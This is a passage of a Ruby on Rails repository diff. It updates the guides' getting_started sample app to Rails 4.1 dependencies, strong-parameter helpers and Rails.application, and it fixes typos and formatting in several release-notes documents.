- actionpack (= 4.0.0.beta)
- activerecord (= 4.0.0.beta)
- activesupport (= 4.0.0.beta)
- bundler (>= 1.2.2, < 2.0)
- railties (= 4.0.0.beta)
- sprockets-rails (~> 2.0.0.rc1)
- railties (4.0.0.beta)
- actionpack (= 4.0.0.beta)
- activesupport (= 4.0.0.beta)
- rake (>= 0.8.7)
- rdoc (~> 3.4)
- thor (>= 0.15.4, < 2.0)
-
GEM
remote: https://rubygems.org/
specs:
- atomic (1.0.1)
- builder (3.1.4)
+ actionmailer (4.1.0)
+ actionpack (= 4.1.0)
+ actionview (= 4.1.0)
+ mail (~> 2.5.4)
+ actionpack (4.1.0)
+ actionview (= 4.1.0)
+ activesupport (= 4.1.0)
+ rack (~> 1.5.2)
+ rack-test (~> 0.6.2)
+ actionview (4.1.0)
+ activesupport (= 4.1.0)
+ builder (~> 3.1)
+ erubis (~> 2.7.0)
+ activemodel (4.1.0)
+ activesupport (= 4.1.0)
+ builder (~> 3.1)
+ activerecord (4.1.0)
+ activemodel (= 4.1.0)
+ activesupport (= 4.1.0)
+ arel (~> 5.0.0)
+ activesupport (4.1.0)
+ i18n (~> 0.6, >= 0.6.9)
+ json (~> 1.7, >= 1.7.7)
+ minitest (~> 5.1)
+ thread_safe (~> 0.1)
+ tzinfo (~> 1.1)
+ arel (5.0.0)
+ atomic (1.1.14)
+ builder (3.2.2)
+ coffee-rails (4.0.1)
+ coffee-script (>= 2.2.0)
+ railties (>= 4.0.0, < 5.0)
coffee-script (2.2.0)
coffee-script-source
execjs
- coffee-script-source (1.4.0)
+ coffee-script-source (1.6.3)
erubis (2.7.0)
- execjs (1.4.0)
- multi_json (~> 1.0)
- hike (1.2.1)
- i18n (0.6.1)
- jbuilder (1.3.0)
+ execjs (2.0.2)
+ hike (1.2.3)
+ i18n (0.6.9)
+ jbuilder (2.0.2)
activesupport (>= 3.0.0)
- jquery-rails (2.2.0)
+ multi_json (>= 1.2.0)
+ jquery-rails (3.0.4)
railties (>= 3.0, < 5.0)
thor (>= 0.14, < 2.0)
- json (1.7.6)
- mail (2.5.3)
- i18n (>= 0.4.0)
+ json (1.8.1)
+ mail (2.5.4)
mime-types (~> 1.16)
treetop (~> 1.4.8)
- mime-types (1.19)
- minitest (4.4.0)
- multi_json (1.5.0)
+ mime-types (1.25.1)
+ minitest (5.2.1)
+ multi_json (1.8.4)
polyglot (0.3.3)
- rack (1.4.4)
+ rack (1.5.2)
rack-test (0.6.2)
rack (>= 1.0)
- rake (10.0.3)
- rdoc (3.12)
+ rails (4.1.0)
+ actionmailer (= 4.1.0)
+ actionpack (= 4.1.0)
+ actionview (= 4.1.0)
+ activemodel (= 4.1.0)
+ activerecord (= 4.1.0)
+ activesupport (= 4.1.0)
+ bundler (>= 1.3.0, < 2.0)
+ railties (= 4.1.0)
+ sprockets-rails (~> 2.0.0)
+ railties (4.1.0)
+ actionpack (= 4.1.0)
+ activesupport (= 4.1.0)
+ rake (>= 0.8.7)
+ thor (>= 0.18.1, < 2.0)
+ rake (10.1.1)
+ rdoc (4.1.1)
json (~> 1.4)
- sass (3.2.5)
- sprockets (2.8.2)
+ sass (3.2.13)
+ sass-rails (4.0.1)
+ railties (>= 4.0.0, < 5.0)
+ sass (>= 3.1.10)
+ sprockets-rails (~> 2.0.0)
+ sdoc (0.4.0)
+ json (~> 1.8)
+ rdoc (~> 4.0, < 5.0)
+ spring (1.0.0)
+ sprockets (2.10.1)
hike (~> 1.2)
multi_json (~> 1.0)
rack (~> 1.0)
tilt (~> 1.1, != 1.3.0)
- sqlite3 (1.3.7)
- thor (0.16.0)
- thread_safe (0.1.0)
+ sprockets-rails (2.0.1)
+ actionpack (>= 3.0)
+ activesupport (>= 3.0)
+ sprockets (~> 2.8)
+ sqlite3 (1.3.8)
+ thor (0.18.1)
+ thread_safe (0.1.3)
atomic
- tilt (1.3.3)
- treetop (1.4.12)
+ tilt (1.4.1)
+ treetop (1.4.15)
polyglot
polyglot (>= 0.3.1)
- turbolinks (1.0.0)
+ turbolinks (2.2.0)
coffee-rails
- tzinfo (0.3.35)
- uglifier (1.3.0)
+ tzinfo (1.1.0)
+ thread_safe (~> 0.1)
+ uglifier (2.4.0)
execjs (>= 0.3.0)
- multi_json (~> 1.0, >= 1.0.2)
+ json (>= 1.8.0)
PLATFORMS
ruby
DEPENDENCIES
- activerecord-deprecated_finders!
- arel!
- coffee-rails!
- jbuilder (~> 1.0.1)
+ coffee-rails (~> 4.0.0)
+ jbuilder (~> 2.0)
jquery-rails
- rails!
- sass-rails!
- sprockets-rails!
+ rails (= 4.1.0)
+ sass-rails (~> 4.0.1)
+ sdoc (~> 0.4.0)
+ spring
sqlite3
turbolinks
- uglifier (>= 1.0.3)
+ uglifier (>= 1.3.0)
diff --git a/guides/code/getting_started/Rakefile b/guides/code/getting_started/Rakefile
index 05de8bb536..ba6b733dd2 100644
--- a/guides/code/getting_started/Rakefile
+++ b/guides/code/getting_started/Rakefile
@@ -3,4 +3,4 @@
require File.expand_path('../config/application', __FILE__)
-Blog::Application.load_tasks
+Rails.application.load_tasks
diff --git a/guides/code/getting_started/app/controllers/comments_controller.rb b/guides/code/getting_started/app/controllers/comments_controller.rb
index 0e3d2a6dde..b2d9bcdf7f 100644
--- a/guides/code/getting_started/app/controllers/comments_controller.rb
+++ b/guides/code/getting_started/app/controllers/comments_controller.rb
@@ -4,7 +4,7 @@ class CommentsController < ApplicationController
def create
@post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment].permit(:commenter, :body))
+ @comment = @post.comments.create(comment_params)
redirect_to post_path(@post)
end
@@ -14,4 +14,10 @@ class CommentsController < ApplicationController
@comment.destroy
redirect_to post_path(@post)
end
+
+ private
+
+ def comment_params
+ params.require(:comment).permit(:commenter, :body)
+ end
end
diff --git a/guides/code/getting_started/app/controllers/posts_controller.rb b/guides/code/getting_started/app/controllers/posts_controller.rb
index 6aa1409170..02689ad67b 100644
--- a/guides/code/getting_started/app/controllers/posts_controller.rb
+++ b/guides/code/getting_started/app/controllers/posts_controller.rb
@@ -17,7 +17,7 @@ class PostsController < ApplicationController
def update
@post = Post.find(params[:id])
- if @post.update(params[:post].permit(:title, :text))
+ if @post.update(post_params)
redirect_to action: :show, id: @post.id
else
render 'edit'
@@ -29,7 +29,7 @@ class PostsController < ApplicationController
end
def create
- @post = Post.new(params[:post].permit(:title, :text))
+ @post = Post.new(post_params)
if @post.save
redirect_to action: :show, id: @post.id
@@ -44,4 +44,10 @@ class PostsController < ApplicationController
redirect_to action: :index
end
+
+ private
+
+ def post_params
+ params.require(:post).permit(:title, :text)
+ end
end
diff --git a/guides/code/getting_started/app/views/layouts/application.html.erb b/guides/code/getting_started/app/views/layouts/application.html.erb
index 95368c37a3..d0ba8415e6 100644
--- a/guides/code/getting_started/app/views/layouts/application.html.erb
+++ b/guides/code/getting_started/app/views/layouts/application.html.erb
@@ -2,8 +2,8 @@
<html>
<head>
<title>Blog</title>
- <%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %>
- <%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+ <%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track' => true %>
+ <%= javascript_include_tag 'application', 'data-turbolinks-track' => true %>
<%= csrf_meta_tags %>
</head>
<body>
diff --git a/guides/code/getting_started/app/views/welcome/index.html.erb b/guides/code/getting_started/app/views/welcome/index.html.erb
index 738e12d7dc..56be8dd3cc 100644
--- a/guides/code/getting_started/app/views/welcome/index.html.erb
+++ b/guides/code/getting_started/app/views/welcome/index.html.erb
@@ -1,3 +1,4 @@
<h1>Hello, Rails!</h1>
<%= link_to "My Blog", controller: "posts" %>
+<%= link_to "New Post", new_post_path %>
diff --git a/guides/code/getting_started/config.ru b/guides/code/getting_started/config.ru
index ddf869e921..5bc2a619e8 100644
--- a/guides/code/getting_started/config.ru
+++ b/guides/code/getting_started/config.ru
@@ -1,4 +1,4 @@
# This file is used by Rack-based servers to start the application.
require ::File.expand_path('../config/environment', __FILE__)
-run Blog::Application
+run Rails.application
diff --git a/guides/code/getting_started/config/boot.rb b/guides/code/getting_started/config/boot.rb
index 3596736667..5e5f0c1fac 100644
--- a/guides/code/getting_started/config/boot.rb
+++ b/guides/code/getting_started/config/boot.rb
@@ -1,4 +1,4 @@
# Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
diff --git a/guides/code/getting_started/config/environment.rb b/guides/code/getting_started/config/environment.rb
index e7e341c960..ee8d90dc65 100644
--- a/guides/code/getting_started/config/environment.rb
+++ b/guides/code/getting_started/config/environment.rb
@@ -2,4 +2,4 @@
require File.expand_path('../application', __FILE__)
# Initialize the Rails application.
-Blog::Application.initialize!
+Rails.application.initialize!
diff --git a/guides/code/getting_started/config/environments/development.rb b/guides/code/getting_started/config/environments/development.rb
index 7e5692b08b..ae9ffe209a 100644
--- a/guides/code/getting_started/config/environments/development.rb
+++ b/guides/code/getting_started/config/environments/development.rb
@@ -1,4 +1,4 @@
-Blog::Application.configure do
+Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded on
diff --git a/guides/code/getting_started/config/environments/production.rb b/guides/code/getting_started/config/environments/production.rb
index 368a735122..c8ae858574 100644
--- a/guides/code/getting_started/config/environments/production.rb
+++ b/guides/code/getting_started/config/environments/production.rb
@@ -1,11 +1,11 @@
-Blog::Application.configure do
+Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
- # your application in memory, allowing both thread web servers
+ # your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
@@ -66,7 +66,7 @@ Blog::Application.configure do
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
- # the I18n.default_locale when a translation can not be found).
+ # the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
diff --git a/guides/code/getting_started/config/environments/test.rb b/guides/code/getting_started/config/environments/test.rb
index 00adaa5015..680d0b9e06 100644
--- a/guides/code/getting_started/config/environments/test.rb
+++ b/guides/code/getting_started/config/environments/test.rb
@@ -1,4 +1,4 @@
-Blog::Application.configure do
+Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# The test environment is used exclusively to run your application's
@@ -14,7 +14,7 @@ Blog::Application.configure do
# Configure static asset server for tests with Cache-Control for performance.
config.serve_static_assets = true
- config.static_cache_control = "public, max-age=3600"
+ config.static_cache_control = 'public, max-age=3600'
# Show full error reports and disable caching.
config.consider_all_requests_local = true
diff --git a/guides/code/getting_started/config/initializers/secret_token.rb b/guides/code/getting_started/config/initializers/secret_token.rb
index aaf57731be..c2a549c299 100644
--- a/guides/code/getting_started/config/initializers/secret_token.rb
+++ b/guides/code/getting_started/config/initializers/secret_token.rb
@@ -9,4 +9,4 @@
# Make sure your secret_key_base is kept private
# if you're sharing your code publicly.
-Blog::Application.config.secret_key_base = 'e8aab50cec8a06a75694111a4cbaf6e22fc288ccbc6b268683aae7273043c69b15ca07d10c92a788dd6077a54762cbfcc55f19c3459f7531221b3169f8171a53'
+Rails.application.config.secret_key_base = 'e8aab50cec8a06a75694111a4cbaf6e22fc288ccbc6b268683aae7273043c69b15ca07d10c92a788dd6077a54762cbfcc55f19c3459f7531221b3169f8171a53'
diff --git a/guides/code/getting_started/config/initializers/session_store.rb b/guides/code/getting_started/config/initializers/session_store.rb
index 3b2ca93ab9..1b9fa324d4 100644
--- a/guides/code/getting_started/config/initializers/session_store.rb
+++ b/guides/code/getting_started/config/initializers/session_store.rb
@@ -1,3 +1,3 @@
# Be sure to restart your server when you modify this file.
-Blog::Application.config.session_store :cookie_store, key: '_blog_session'
+Rails.application.config.session_store :cookie_store, key: '_blog_session'
diff --git a/guides/code/getting_started/config/routes.rb b/guides/code/getting_started/config/routes.rb
index 0155b613a3..65d273b58d 100644
--- a/guides/code/getting_started/config/routes.rb
+++ b/guides/code/getting_started/config/routes.rb
@@ -1,4 +1,4 @@
-Blog::Application.routes.draw do
+Rails.application.routes.draw do
resources :posts do
resources :comments
end
diff --git a/guides/code/getting_started/public/404.html b/guides/code/getting_started/public/404.html
index 3d287b135d..3265cc8e33 100644
--- a/guides/code/getting_started/public/404.html
+++ b/guides/code/getting_started/public/404.html
@@ -22,6 +22,7 @@
border-top-right-radius: 9px;
background-color: white;
padding: 7px 4em 0 4em;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
}
h1 {
@@ -37,6 +38,7 @@
background-color: #F7F7F7;
border: 1px solid #CCC;
border-right-color: #999;
+ border-left-color: #999;
border-bottom-color: #999;
border-bottom-left-radius: 4px;
border-bottom-right-radius: 4px;
diff --git a/guides/code/getting_started/public/422.html b/guides/code/getting_started/public/422.html
index 3b946bf4a4..d823a8fc77 100644
--- a/guides/code/getting_started/public/422.html
+++ b/guides/code/getting_started/public/422.html
@@ -22,6 +22,7 @@
border-top-right-radius: 9px;
background-color: white;
padding: 7px 4em 0 4em;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
}
h1 {
@@ -37,6 +38,7 @@
background-color: #F7F7F7;
border: 1px solid #CCC;
border-right-color: #999;
+ border-left-color: #999;
border-bottom-color: #999;
border-bottom-left-radius: 4px;
border-bottom-right-radius: 4px;
diff --git a/guides/code/getting_started/public/500.html b/guides/code/getting_started/public/500.html
index ccc4ad5656..ebf6d4c00c 100644
--- a/guides/code/getting_started/public/500.html
+++ b/guides/code/getting_started/public/500.html
@@ -22,6 +22,7 @@
border-top-right-radius: 9px;
background-color: white;
padding: 7px 4em 0 4em;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
}
h1 {
@@ -37,6 +38,7 @@
background-color: #F7F7F7;
border: 1px solid #CCC;
border-right-color: #999;
+ border-left-color: #999;
border-bottom-color: #999;
border-bottom-left-radius: 4px;
border-bottom-right-radius: 4px;
diff --git a/guides/code/getting_started/public/robots.txt b/guides/code/getting_started/public/robots.txt
index 1a3a5e4dd2..3c9c7c01f3 100644
--- a/guides/code/getting_started/public/robots.txt
+++ b/guides/code/getting_started/public/robots.txt
@@ -1,4 +1,4 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-agent: *
diff --git a/guides/code/getting_started/test/fixtures/comments.yml b/guides/code/getting_started/test/fixtures/comments.yml
index 0cd36069e4..9e409d8a61 100644
--- a/guides/code/getting_started/test/fixtures/comments.yml
+++ b/guides/code/getting_started/test/fixtures/comments.yml
@@ -1,4 +1,4 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
one:
commenter: MyString
diff --git a/guides/code/getting_started/test/fixtures/posts.yml b/guides/code/getting_started/test/fixtures/posts.yml
index 617a24b858..46b01c3bb4 100644
--- a/guides/code/getting_started/test/fixtures/posts.yml
+++ b/guides/code/getting_started/test/fixtures/posts.yml
@@ -1,4 +1,4 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
one:
title: MyString
diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb
index ce409868ca..9d488a8a15 100644
--- a/guides/rails_guides.rb
+++ b/guides/rails_guides.rb
@@ -5,7 +5,7 @@ $:.unshift pwd
def bundler?
# Note that rake sets the cwd to the one that contains the Rakefile
# being executed.
- File.exists?('Gemfile')
+ File.exist?('Gemfile')
end
begin
@@ -39,6 +39,25 @@ ERROR
exit 1
end
+begin
+ require 'nokogiri'
+rescue LoadError
+ # This can happen if doc:guides is executed in an application.
+ $stderr.puts('Generating guides requires Nokogiri.')
+ $stderr.puts(<<ERROR) if bundler?
+Please add
+
+ gem 'nokogiri'
+
+to the Gemfile, run
+
+ bundle install
+
+and try again.
+ERROR
+ exit 1
+end
+
require 'rails_guides/markdown'
require "rails_guides/generator"
RailsGuides::Generator.new.generate
diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb
index af9c5b8372..aa900454c8 100644
--- a/guides/rails_guides/generator.rb
+++ b/guides/rails_guides/generator.rb
@@ -184,7 +184,7 @@ module RailsGuides
def generate?(source_file, output_file)
fin = File.join(source_dir, source_file)
fout = output_path_for(output_file)
- all || !File.exists?(fout) || File.mtime(fout) < File.mtime(fin)
+ all || !File.exist?(fout) || File.mtime(fout) < File.mtime(fin)
end
def generate_guide(guide, output_file)
diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb
index a288d0f0f4..169453400f 100644
--- a/guides/rails_guides/helpers.rb
+++ b/guides/rails_guides/helpers.rb
@@ -1,3 +1,5 @@
+require 'yaml'
+
module RailsGuides
module Helpers
def guide(name, url, options = {}, &block)
@@ -17,7 +19,7 @@ module RailsGuides
end
def documents_flat
- documents_by_section.map {|section| section['documents']}.flatten
+ documents_by_section.flat_map {|section| section['documents']}
end
def finished_documents(documents)
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
index 7db4cf07e7..522f628a7e 100644
--- a/guides/source/2_2_release_notes.md
+++ b/guides/source/2_2_release_notes.md
@@ -327,7 +327,7 @@ Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize
The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
```ruby
-%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}
```
Lead Contributor: [Adam Keys](http://therealadam.com/)
@@ -366,7 +366,7 @@ Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-da
* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
* The included TzInfo library has been upgraded to version 0.3.12.
-* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
+* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
Railties
--------
diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md
index 0f05cc6b85..8c633fa169 100644
--- a/guides/source/2_3_release_notes.md
+++ b/guides/source/2_3_release_notes.md
@@ -237,7 +237,7 @@ If you're one of the people who has always been bothered by the special-case nam
### HTTP Digest Authentication Support
-Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
+Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):
```ruby
class PostsController < ApplicationController
@@ -451,11 +451,11 @@ select(:post, :category, Post::CATEGORIES, :disabled => 'private')
returns
```html
-<select name=“post[category]“>
+<select name="post[category]">
<option>story</option>
<option>joke</option>
<option>poem</option>
-<option disabled=“disabled“>private</option>
+<option disabled="disabled">private</option>
</select>
```
@@ -604,9 +604,9 @@ Deprecated
A few pieces of older code are deprecated in this release:
* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin.
-* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.)
+* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master).
* Support for Rails components has been removed.
-* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
+* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.
* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now.
* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect.
* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client.
diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md
index d398cd680c..2d4be0cda7 100644
--- a/guides/source/3_0_release_notes.md
+++ b/guides/source/3_0_release_notes.md
@@ -73,8 +73,6 @@ You can see an example of how that works at [Rails Upgrade is now an Official Pl
Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
-More information - [The Path to Rails 3: Approaching the upgrade](http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade)
-
Creating a Rails 3.0 application
--------------------------------
@@ -296,7 +294,7 @@ NOTE. The old style `map` commands still work as before with a backwards compati
Deprecations
* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out.
-* Routes :path\_prefix no longer exists and :name\_prefix now automatically adds "\_" at the end of the given value.
+* Routes `:path_prefix` no longer exists and `:name_prefix` now automatically adds "_" at the end of the given value.
More Information:
* [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/)
@@ -576,7 +574,7 @@ The following methods have been removed because they are no longer used in the f
Action Mailer
-------------
-Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
+Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
* All mailers are now in `app/mailers` by default.
* Can now send email using new API with three methods: `attachments`, `headers` and `mail`.
diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md
index 5c99892e39..485f8c756b 100644
--- a/guides/source/3_1_release_notes.md
+++ b/guides/source/3_1_release_notes.md
@@ -286,7 +286,7 @@ Action Pack
end
```
- You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information.
+ You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information.
* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md
index e036860de2..cdcde67869 100644
--- a/guides/source/3_2_release_notes.md
+++ b/guides/source/3_2_release_notes.md
@@ -21,7 +21,7 @@ If you're upgrading an existing application, it's a great idea to have good test
Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
### What to update in your apps
@@ -137,7 +137,7 @@ Railties
* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
-* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory.
+* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory.
* Add an alias `d` for `destroy`. This works for engines too.
@@ -185,9 +185,9 @@ Action Pack
end
```
- Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.
+ Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions.
-* form\_for is changed to use "#{action}\_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}\_#{action}".
+* `form_for` is changed to use `#{action}_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`.
* `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
@@ -219,7 +219,7 @@ Action Pack
* MIME type entries for PDF, ZIP and other formats were added.
-* Allow fresh_when/stale? to take a record instead of an options hash.
+* Allow `fresh_when/stale?` to take a record instead of an options hash.
* Changed log level of warning for missing CSRF token from `:debug` to `:warn`.
@@ -227,7 +227,7 @@ Action Pack
#### Deprecations
-* Deprecated implied layout lookup in controllers whose parent had a explicit layout set:
+* Deprecated implied layout lookup in controllers whose parent had an explicit layout set:
```ruby
class ApplicationController
@@ -238,13 +238,13 @@ Action Pack
end
```
- In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
+ In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
-* Deprecated `ActionController::UnknownAction` in favour of `AbstractController::ActionNotFound`.
+* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`.
-* Deprecated `ActionController::DoubleRenderError` in favour of `AbstractController::DoubleRenderError`.
+* Deprecated `ActionController::DoubleRenderError` in favor of `AbstractController::DoubleRenderError`.
-* Deprecated `method_missing` in favour of `action_missing` for missing actions.
+* Deprecated `method_missing` in favor of `action_missing` for missing actions.
* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`.
@@ -254,7 +254,7 @@ Action Pack
* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
-* The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
+* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`.
@@ -375,7 +375,7 @@ Active Record
* Support index sort order in SQLite, MySQL and PostgreSQL adapters.
-* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.
+* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string.
```ruby
has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md
index 66e26c63cb..19c690233c 100644
--- a/guides/source/4_0_release_notes.md
+++ b/guides/source/4_0_release_notes.md
@@ -15,7 +15,7 @@ These release notes cover only the major changes. To know about various bug fixe
Upgrading to Rails 4.0
----------------------
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
Creating a Rails 4.0 application
@@ -50,10 +50,47 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev
Major Features
--------------
